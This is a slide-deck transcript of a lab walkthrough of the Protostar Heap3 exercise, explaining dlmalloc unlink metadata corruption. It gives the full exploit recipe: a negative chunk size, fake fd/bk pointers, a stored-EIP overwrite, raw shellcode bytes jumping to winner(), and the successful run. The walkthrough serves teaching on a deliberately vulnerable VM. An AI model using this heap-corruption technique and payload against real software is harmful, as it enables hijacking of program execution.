Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Protostar VM - Heap3

30 views

Published on

dlmalloc metadata corruption and work the Heap3 problem from the Protostar VM as an example

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Protostar VM - Heap3

  1. 1. Scott Hand CSG 2/29/12
  2. 2.  We’re using Doug Lea’s malloc (dlmalloc)  This is common in many Linux distros  It has been tweaked for Protostar:  Some of the security sanity checking is gone   Uses singly-linked list – presumably to simplify things for us  The “use bit” in the size is also omitted  However, we will “use” the back pointer code
  3. 3. 8 Byte Header – 4 bytes of zero, 4 byte size = n n Byte Body
  4. 4. 8 Byte Header – 4 bytes of zero, 4 byte size = n n-4 Bytes of 0 4 Byte Pointer – Next Free Byte
  5. 5.  We know from Heap3’s description that it “introduces the Doug Lea Malloc (dlmalloc) and how heap meta data can be modified to change program execution.”  What metadata in particular?  Let’s review the process of freeing a chunk from the last presentation…
  6. 6. 0x0804c000 8 Byte Size – 0x29 0x0804c008 “AAAA0” Chunk 1 a 0x0804c028 8 Byte Size – 0x29 0x0804c030 “BBBB0” Chunk 2 b 0x0804c050 8 Byte Size – 0x29 0x0804c058 “CCCC0” Chunk 3 c Remaining Space: 0xF89
  7. 7. 0x0804c000 8 Byte Size – 0x29 0x0804c008 “AAAA0” Chunk 1 a 0x0804c028 8 Byte Size – 0x29 0x0804c030 “BBBB0” Chunk 2 b 0x0804c050 8 Byte Size – 0x29 0x0804c058 “0” * 32 Chunk 3 Remaining Space: 0xF89
  8. 8. 0x0804c000 8 Byte Size – 0x29 0x0804c008 “AAAA0” Chunk 1 a 0x0804c028 8 Byte Size – 0x29 0x0804c030 “0x0804c050” Chunk 2 0x0804c050 8 Byte Size – 0x29 0x0804c058 “0” * 32 Chunk 3 Remaining Space: 0xF89
  9. 9. 0x0804c000 8 Byte Size – 0x29 0x0804c008 “0x0804c028” Chunk 1 0x0804c028 8 Byte Size – 0x29 0x0804c030 “0x0804c050” Chunk 2 0x0804c050 8 Byte Size – 0x29 0x0804c058 “0” * 32 Chunk 3 Remaining Space: 0xF89
  10. 10. 1. Load the chunk’s size as psize, nextchunk is p+psize 2. A few scenarios can occur, but what we’re interested in is the case in which the surrounding chunk is also free 3. To consolidate, call: unlink(nextchunk, bck, fwd)
  11. 11. … FD = P->fd; BK = P->bk; … FD->bk = BK; BK->fd = FD; …
  12. 12. 0x80498fa <free+214>: mov edx,DWORD PTR [ebp-0x18] 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx 0x8049900 <free+220>: mov eax,DWORD PTR [ebp-0x18] 0x8049903 <free+223>: mov edx,DWORD PTR [ebp-0x14] 0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx The underlined instructions correspond with the previous two lines in unlink. bk is 12 bytes offset, fd is 8 bytes offset.
  13. 13.  We overwrite the size information for our b pointer, so that when it tries to find the next memory chunk (previously c), we point it elsewhere.  Since this is singly linked, how does it go back? p-psize  Giving it a negative size means it will go forward to a “fake” previous chunk with fd and bk of our choosing.
  14. 14.  Give a size of 0xFFFFFFFC = -4 to chunk 2  This pushes it forward 4 bytes, so it will then look to b+16 for the bk pointer and b+12 for the forward pointer.  Adjusting for header, that means fd and bk will be 4 and 8 bytes into our body respectively  chunk2 = “BBBB”+word1+word2+”B”*20
  15. 15.  So now we can:  Load word1’s address into the memory at location word2 + 8  Load word2’s address into the memory at location word1 + 12  Actually pretty restrictive, as word1 and word2 need to be able to serve as a pointer to a writable region as well as data to write
  16. 16.  One word is the address of winner() – 12, the other is the stored EIP  Doesn’t work –We can’t write at winner() – 12   Overwrite the GOT entry for puts  Still doesn’t work. Any time we are trying to put winner()’s address somewhere, we can’t because that memory is not writable
  17. 17.  One word will be a pointer to stack memory, the other will be a pointer to the stored EIP  Both locations are writable  Our stack is executable, and our program arguments are there. Let’s just overflow chunk 3’s contents to store the payload.  Exploit strategy:  Hijack EIP and send it to the heap  Execute custom shellcode that goes to winner()  Victory!
  18. 18.  All we want our shellcode to do is jump to winner() and exit cleanly  There are some space considerations. For whatever reason, stuff starts getting clobbered after 16 bytes or so  Some trial-and-error shows that winner() returns to a location that’s under ESP in the stack as soon as our shellcode begins execution
  19. 19.  Pop the stack  Push original stored EIP  Push winner  Return Why do we push original stored EIP? It’s nice to avoid segfaulting when we can.
  20. 20. POP eax PUSH 0xb7eadc76 PUSH 0x8048864 RET (Note:Your addresses may vary)
  21. 21. “ x58x68x76xdcxeaxb7 ” . x68x64x88x04x08xc3 ” I used metasm for this. Does its work in 12 bytes.
  22. 22. Starting program: /opt/protostar/bin/heap3 `python ~/solutions/h3.py` dynamite failed? that wasn't too bad now, was it? @ 1329993598 Program exited with code 056.
  23. 23.  Let me know if you find an easier / more elegant way to do it.  Any questions?

×